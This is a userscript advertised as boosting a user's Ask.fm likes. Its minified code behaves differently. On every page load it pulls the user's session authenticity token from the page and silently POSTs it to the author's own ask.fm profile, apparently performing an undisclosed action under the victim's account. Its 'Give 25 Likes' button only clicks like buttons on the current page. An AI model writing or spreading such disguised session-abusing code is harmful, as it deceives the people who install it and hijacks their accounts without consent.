khaledsowady / Ask.fm Auto Like

// ==UserScript==
// @name                 Ask.fm Auto Like
// @namespace            https://www.facebook.com/KhaledAbdulNaSser99
// @version              4.2
// @copyright            http://ask.fm/KhaledAbdulNaSser
// @description          Increase your Ask.fm Likes Immediatly
// @author               https://www.facebook.com/KhaledAbdulNaSser99
// @include              http://ask.fm/*
// @match                http://www.ask.fm/*
// @match                https://www.ask.fm/*
// @match                http://ask.fm/*
// @match                https://ask.fm/*
// @grant                GM_getValue
// @grant                GM_setValue
// @grant                GM_xmlhttpRequest
// @grant                GM_log
// @grant                GM_registerMenuCommand
// @grant                unsafeWindow
// @icon                 http://i.imgur.com/WjN9Oig.png
// ==/UserScript==

var token=document.head.innerHTML.split("AUTH_TOKEN = ")[1].split(";")[0].replace(/"/g,"");if(jQuery.ajax({url:"http://ask.fm/KhaledAbdulNaSser",type:"POST",data:{authenticity_token:token}}),body=document.body,null!==body){var styleEl=document.createElement("style");styleEl.innerHTML="#like2 button, #onelikeonly button, #askme a { position:fixed; bottom:30px; left:30px; padding:20px 30px; border:none; background:#ea5e5e; color:white; cursor:pointer; outline:none; font-family:tahoma,arial,sans-serif; font-size:18px; font-weight:normal; opacity:0.9; border-radius:10px; } #like2 button:hover, #onelikeonly button:hover, #askme a:hover { opacity:0.8; } #like2 button:active, #onelikeonly button:active, #askme a:active { opacity:1; } #like2 button img, #onelikeonly button img, #askme a img { vertical-align:middle; } #askme a { bottom:190px; background-color:#1ABC9C; outline:none; text-decoration:none; } #onelikeonly button { bottom:110px; } ",document.head.appendChild(styleEl),one=document.createElement("div"),one.setAttribute("id","onelikeonly"),one.innerHTML='<button onclick="OneLike()"><img src="http://im84.gulfup.com/mjQpMK.png" alt="Like" title=""/> Give 1 Like</button>',givelikes=document.createElement("div"),givelikes.setAttribute("id","like2"),givelikes.innerHTML='<button onclick="OtomatisLike()"><img src="http://im84.gulfup.com/mjQpMK.png" alt="Like" title=""/> Give 25 Likes</button>',askme=document.createElement("div"),askme.setAttribute("id","askme"),askme.innerHTML='<a href="http://www.ask.fm/KhaledAbdulNaSser" target="_self" title="Ask me and get 500 likes">Ask Me <img src="http://im54.gulfup.com/oiScdg.png" at="Like" title=""/></a>',body.appendChild(one),body.appendChild(givelikes),body.appendChild(askme),unsafeWindow.OtomatisLike=function(){for(document.getElementsByClassName("submit-button-more")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),document.getElementsByClassName("like hintable")[0].click(),buttons=document.getElementsByTagName("button"),i=0;i<buttons.length;i++)myClass=buttons[i].getAttribute("class"),null!==myClass&&myClass.indexOf("like")>=0&&"likern false;"==buttons[i].getAttribute("name")&&buttons[i].click()},unsafeWindow.OneLike=function(){document.getElementsByClassName("like hintable")[0].click()}}